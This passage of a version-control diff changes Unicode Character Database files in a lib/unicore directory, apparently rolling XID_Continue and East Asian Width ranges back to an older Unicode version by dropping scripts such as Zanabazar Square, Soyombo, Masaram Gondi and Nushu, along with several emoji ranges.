-# Total code points: 125311 +# Total code points: 116984 # ================================================ @@ -8378,7 +8266,6 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 0829..082D ; XID_Continue # Mn [5] SAMARITAN VOWEL SIGN LONG I..SAMARITAN MARK NEQUDAA 0840..0858 ; XID_Continue # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN 0859..085B ; XID_Continue # Mn [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK -0860..086A ; XID_Continue # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; XID_Continue # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; XID_Continue # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 08D4..08E1 ; XID_Continue # Mn [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA @@ -8423,7 +8310,6 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 09E2..09E3 ; XID_Continue # Mn [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL 09E6..09EF ; XID_Continue # Nd [10] BENGALI DIGIT ZERO..BENGALI DIGIT NINE 09F0..09F1 ; XID_Continue # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; XID_Continue # Lo BENGALI LETTER VEDIC ANUSVARA 0A01..0A02 ; XID_Continue # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI 0A03 ; XID_Continue # Mc GURMUKHI SIGN VISARGA 0A05..0A0A ; XID_Continue # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU @@ -8466,7 +8352,6 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 0AE2..0AE3 ; XID_Continue # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL 0AE6..0AEF ; XID_Continue # Nd [10] GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE 0AF9 ; XID_Continue # Lo GUJARATI LETTER ZHA -0AFA..0AFF ; XID_Continue # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; XID_Continue # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; XID_Continue # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B05..0B0C ; XID_Continue # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L @@ -8550,12 +8435,11 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 0CE2..0CE3 ; XID_Continue # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL 0CE6..0CEF ; XID_Continue # Nd [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE 0CF1..0CF2 ; XID_Continue # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA -0D00..0D01 ; XID_Continue # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; XID_Continue # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; XID_Continue # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA 0D05..0D0C ; XID_Continue # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L 0D0E..0D10 ; XID_Continue # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI 0D12..0D3A ; XID_Continue # Lo [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA -0D3B..0D3C ; XID_Continue # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3D ; XID_Continue # Lo MALAYALAM SIGN AVAGRAHA 0D3E..0D40 ; XID_Continue # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; XID_Continue # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR @@ -8819,7 +8703,6 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 1CF2..1CF3 ; XID_Continue # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF4 ; XID_Continue # Mn VEDIC TONE CANDRA ABOVE 1CF5..1CF6 ; XID_Continue # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7 ; XID_Continue # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; XID_Continue # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE 1D00..1D2B ; XID_Continue # L& [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL 1D2C..1D6A ; XID_Continue # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI @@ -8827,7 +8710,7 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 1D78 ; XID_Continue # Lm MODIFIER LETTER CYRILLIC EN 1D79..1D9A ; XID_Continue # L& [34] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK 1D9B..1DBF ; XID_Continue # Lm [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA -1DC0..1DF9 ; XID_Continue # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; XID_Continue # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; XID_Continue # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 1E00..1F15 ; XID_Continue # L& [278] LATIN CAPITAL LETTER A WITH RING BELOW..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA 1F18..1F1D ; XID_Continue # L& [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA @@ -8917,12 +8800,12 @@ FFDA..FFDC ; XID_Start # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGU 30A1..30FA ; XID_Continue # Lo [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FC..30FE ; XID_Continue # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; XID_Continue # Lo KATAKANA DIGRAPH KOTO -3105..312E ; XID_Continue # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; XID_Continue # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; XID_Continue # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; XID_Continue # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY 31F0..31FF ; XID_Continue # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO 3400..4DB5 ; XID_Continue # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; XID_Continue # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; XID_Continue # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; XID_Continue # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; XID_Continue # Lm YI SYLLABLE WU A016..A48C ; XID_Continue # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -9116,7 +8999,7 @@ FFDA..FFDC ; XID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HA 102A0..102D0 ; XID_Continue # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 102E0 ; XID_Continue # Mn COPTIC EPACT THOUSANDS MARK 10300..1031F ; XID_Continue # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; XID_Continue # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; XID_Continue # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; XID_Continue # Nl GOTHIC LETTER NINETY 10342..10349 ; XID_Continue # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; XID_Continue # Nl GOTHIC LETTER NINE HUNDRED @@ -9304,25 +9187,6 @@ FFDA..FFDC ; XID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HA 118A0..118DF ; XID_Continue # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO 118E0..118E9 ; XID_Continue # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 118FF ; XID_Continue # Lo WARANG CITI OM -11A00 ; XID_Continue # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06 ; XID_Continue # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; XID_Continue # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; XID_Continue # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32 ; XID_Continue # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33..11A38 ; XID_Continue # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; XID_Continue # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; XID_Continue # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E ; XID_Continue # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; XID_Continue # Mn ZANABAZAR SQUARE SUBJOINER -11A50 ; XID_Continue # Lo SOYOMBO LETTER A -11A51..11A56 ; XID_Continue # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; XID_Continue # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; XID_Continue # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83 ; XID_Continue # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; XID_Continue # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96 ; XID_Continue # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; XID_Continue # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; XID_Continue # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11AC0..11AF8 ; XID_Continue # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; XID_Continue # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; XID_Continue # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -9341,16 +9205,6 @@ FFDA..FFDC ; XID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HA 11CB2..11CB3 ; XID_Continue # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; XID_Continue # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; XID_Continue # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06 ; XID_Continue # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; XID_Continue # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; XID_Continue # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36 ; XID_Continue # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; XID_Continue # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; XID_Continue # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; XID_Continue # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D46 ; XID_Continue # Lo MASARAM GONDI REPHA -11D47 ; XID_Continue # Mn MASARAM GONDI RA-KARA -11D50..11D59 ; XID_Continue # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 12000..12399 ; XID_Continue # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; XID_Continue # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; XID_Continue # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -9372,11 +9226,10 @@ FFDA..FFDC ; XID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HA 16F51..16F7E ; XID_Continue # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 16F8F..16F92 ; XID_Continue # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW 16F93..16F9F ; XID_Continue # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; XID_Continue # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; XID_Continue # Lm TANGUT ITERATION MARK 17000..187EC ; XID_Continue # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; XID_Continue # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; XID_Continue # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; XID_Continue # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; XID_Continue # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; XID_Continue # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; XID_Continue # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; XID_Continue # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -9473,11 +9326,10 @@ FFDA..FFDC ; XID_Continue # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HA 2A700..2B734 ; XID_Continue # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; XID_Continue # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; XID_Continue # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; XID_Continue # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; XID_Continue # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D E0100..E01EF ; XID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 128089 +# Total code points: 119672 # ================================================ @@ -9487,8 +9339,8 @@ E0100..E01EF ; XID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTO # + Cf (Format characters) # + Variation_Selector # - White_Space -# - FFF9..FFFB (Annotation characters) -# - Prepended_Concatenation_Mark (Exceptional format characters that should be visible) +# - FFF9..FFFB (Annotation Characters) +# - 0600..0605, 06DD, 070F, 08E2, 110BD (exceptional Cf characters that should be visible) 00AD ; Default_Ignorable_Code_Point # Cf SOFT HYPHEN 034F ; Default_Ignorable_Code_Point # Mn COMBINING GRAPHEME JOINER @@ -9579,7 +9431,6 @@ E01F0..E0FFF ; Default_Ignorable_Code_Point # Cn [3600] ........ 4DC0..4DFF;N # So [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION -4E00..9FEA;W # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA -9FEB..9FFF;W # Cn [21] .. +4E00..9FD5;W # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 +9FD6..9FFF;W # Cn [42] .. A000..A014;W # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015;W # Lm YI SYLLABLE WU A016..A48C;W # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -1809,7 +1803,6 @@ FFFD;A # So REPLACEMENT CHARACTER 102E1..102FB;N # No [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED 10300..1031F;N # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS 10320..10323;N # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..1032F;N # Lo [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE 10330..10340;N # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341;N # Nl GOTHIC LETTER NINETY 10342..10349;N # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL @@ -2057,28 +2050,6 @@ FFFD;A # So REPLACEMENT CHARACTER 118E0..118E9;N # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 118EA..118F2;N # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY 118FF;N # Lo WARANG CITI OM -11A00;N # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06;N # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08;N # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A;N # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32;N # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33..11A38;N # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39;N # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A;N # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E;N # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A3F..11A46;N # Po [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A47;N # Mn ZANABAZAR SQUARE SUBJOINER -11A50;N # Lo SOYOMBO LETTER A -11A51..11A56;N # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58;N # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B;N # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83;N # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89;N # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96;N # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97;N # Mc SOYOMBO SIGN VISARGA -11A98..11A99;N # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER -11A9A..11A9C;N # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA2;N # Po [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 11AC0..11AF8;N # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08;N # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E;N # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -2100,16 +2071,6 @@ FFFD;A # So REPLACEMENT CHARACTER 11CB2..11CB3;N # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4;N # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6;N # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06;N # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09;N # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30;N # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36;N # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A;N # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D;N # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45;N # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D46;N # Lo MASARAM GONDI REPHA -11D47;N # Mn MASARAM GONDI RA-KARA -11D50..11D59;N # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 12000..12399;N # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E;N # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12470..12474;N # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON @@ -2139,12 +2100,10 @@ FFFD;A # So REPLACEMENT CHARACTER 16F51..16F7E;N # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 16F8F..16F92;N # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW 16F93..16F9F;N # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1;W # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0;W # Lm TANGUT ITERATION MARK 17000..187EC;W # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2;W # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B0FF;W # Lo [256] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER RE-2 -1B100..1B11E;W # Lo [31] HENTAIGANA LETTER RE-3..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB;W # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001;W # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A;N # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C;N # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88;N # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -2296,7 +2255,6 @@ FFFD;A # So REPLACEMENT CHARACTER 1F210..1F23B;W # So [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D 1F240..1F248;W # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 1F250..1F251;W # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F260..1F265;W # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI 1F300..1F320;W # So [33] CYCLONE..SHOOTING STAR 1F321..1F32C;N # So [12] THERMOMETER..WIND BLOWING FACE 1F32D..1F335;W # So [9] HOT DOG..CACTUS @@ -2341,11 +2299,10 @@ FFFD;A # So REPLACEMENT CHARACTER 1F6CC;W # So SLEEPING ACCOMMODATION 1F6CD..1F6CF;N # So [3] SHOPPING BAGS..BED 1F6D0..1F6D2;W # So [3] PLACE OF WORSHIP..SHOPPING TROLLEY -1F6D3..1F6D4;N # So [2] STUPA..PAGODA 1F6E0..1F6EA;N # So [11] HAMMER AND WRENCH..NORTHEAST-POINTING AIRPLANE 1F6EB..1F6EC;W # So [2] AIRPLANE DEPARTURE..AIRPLANE ARRIVING 1F6F0..1F6F3;N # So [4] SATELLITE..PASSENGER SHIP -1F6F4..1F6F8;W # So [5] SCOOTER..FLYING SAUCER +1F6F4..1F6F6;W # So [3] SCOOTER..CANOE 1F700..1F773;N # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE 1F780..1F7D4;N # So [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR 1F800..1F80B;N # So [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD @@ -2353,13 +2310,14 @@ FFFD;A # So REPLACEMENT CHARACTER 1F850..1F859;N # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW 1F860..1F887;N # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F890..1F8AD;N # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B;N # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F910..1F93E;W # So [47] ZIPPER-MOUTH FACE..HANDBALL -1F940..1F94C;W # So [13] WILTED FLOWER..CURLING STONE -1F950..1F96B;W # So [28] CROISSANT..CANNED FOOD -1F980..1F997;W # So [24] CRAB..CRICKET +1F910..1F91E;W # So [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED +1F920..1F927;W # So [8] FACE WITH COWBOY HAT..SNEEZING FACE +1F930;W # So PREGNANT WOMAN +1F933..1F93E;W # So [12] SELFIE..HANDBALL +1F940..1F94B;W # So [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F950..1F95E;W # So [15] CROISSANT..PANCAKES +1F980..1F991;W # So [18] CRAB..SQUID 1F9C0;W # So CHEESE WEDGE -1F9D0..1F9E6;W # So [23] FACE WITH MONOCLE..SOCKS 20000..2A6D6;W # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 2A6D7..2A6FF;W # Cn [41] .. 2A700..2B734;W # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 @@ -2367,9 +2325,7 @@ FFFD;A # So REPLACEMENT CHARACTER 2B740..2B81D;W # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B81E..2B81F;W # Cn [2] .. 2B820..2CEA1;W # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEA2..2CEAF;W # Cn [14] .. -2CEB0..2EBE0;W # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 -2EBE1..2F7FF;W # Cn [3103] .. +2CEA2..2F7FF;W # Cn [10590] .. 2F800..2FA1D;W # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D 2FA1E..2FFFD;W # Cn [1504] .. 30000..3FFFD;W # Cn [65534] .. diff --git a/lib/unicore/EmojiSources.txt b/lib/unicore/EmojiSources.txt index 228665b52b5c..39255f1568f3 100644 --- a/lib/unicore/EmojiSources.txt +++ b/lib/unicore/EmojiSources.txt @@ -1,22 +1,25 @@ -# 